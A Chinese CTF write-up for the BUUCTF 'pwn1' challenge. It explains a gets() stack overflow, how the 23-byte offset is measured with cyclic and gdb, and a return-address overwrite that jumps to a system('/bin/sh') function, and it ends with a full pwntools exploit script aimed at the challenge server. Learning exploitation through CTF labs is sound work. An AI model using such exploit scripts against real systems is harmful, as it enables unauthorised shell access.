Buuctf pwn1 详细wp

程序基本信息

1271708-20190919193210434-130613162.png

我们可以看到这是一个64程序,没有保护开启。

程序溢出点

1271708-20190919193544889-1052588420.png

gets函数可以读取无限字符,存在栈溢出。
接下来我们测测需要多少字符长度可以溢出。
我们可以直接从ida上看到
1271708-20190919194133983-1297948357.png

变量s在栈上[bp-Fh]位置,也就是说我们只能输入(Fh + 8)(覆盖rbp需要8个字节)的字节就能覆盖到栈底rbp,紧跟栈底的便是返回地址,我们可以接上一个我们想要程序跳转到的地址。
当然ida显示大部分情况下栈偏移都是没问题的,但也有例外,所以最好手测一下溢出长度。
ida和gdb都可以测溢出长度,这里我介绍gdb的方法。
首先生成50个每4个字符都是独一无二的字符串
1271708-20190919195208493-1387492009.png

然后用gdb调试程序并把该字符串输入
1271708-20190919195332570-247946240.png

我们看到程序运行到ret发生了错误
1271708-20190919195902877-920422211.png

此时栈上的情况
1271708-20190919200044894-1502155491.png

我们可以看到,rsp处本来应该是返回地址,现在已经被我们输入的字符串覆盖了。
由于程序是小端法,所以agaa就在0x7fffffffe108处,我们只要知道agaa前有多少字符即可。
1271708-20190919200531992-1908882055.png

由于cyclic生成的字符串每四个字符都是唯一的,所以只要我们-l命令输入四个字符,它就能测算出这四个字符前有几个字符。(一个字符占一字节)
可以看到结果为23 = ida显示的Fh + 8

确定返回地址

现在我们已经可以成功劫持rip到我们想要的运行地址,哪要跳转到哪里才能pwn掉程序呢?
我们发现程序有一个函数fun()
1271708-20190919201319891-1489718678.png

执行了system("/bin/sh"),/bin/sh是一个软连接,它指向某一个shell,所以这个命令会开启一个shell,将rip劫持到这里,我们就能成功pwn掉程序。

编写exp脚本

直接附上exp

/usr/bin/python
#coding:utf-8

from pwn import *

context.update(arch = 'amd64', os = 'linux', timeout = 1)   #初始化上下文环境,主要是系统、架构和读取超时时间

io = remote('pwn.buuoj.cn', 6001)   #此处的IP地址和端口需要根据目标修改

system_addr = 0x401186  #函数fun()的地址

payload = ''                    
payload += 'A'*23           #使用23个任意字符填充
payload += p64(system_addr) #返回地址覆盖为fun函数的地址,当主程序运行完返回时便会跳转到fun()函数并执行

io.sendline(payload)            #向程序输入payload,注意使用sendline()或者send()的数据末尾加上回车'\n'
io.interactive()

成功getshell

运行脚本成功获得flag
1271708-20190919202351882-965165217.png

转载于:https://www.cnblogs.com/luoleqi/p/11552356.html

  • 3
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值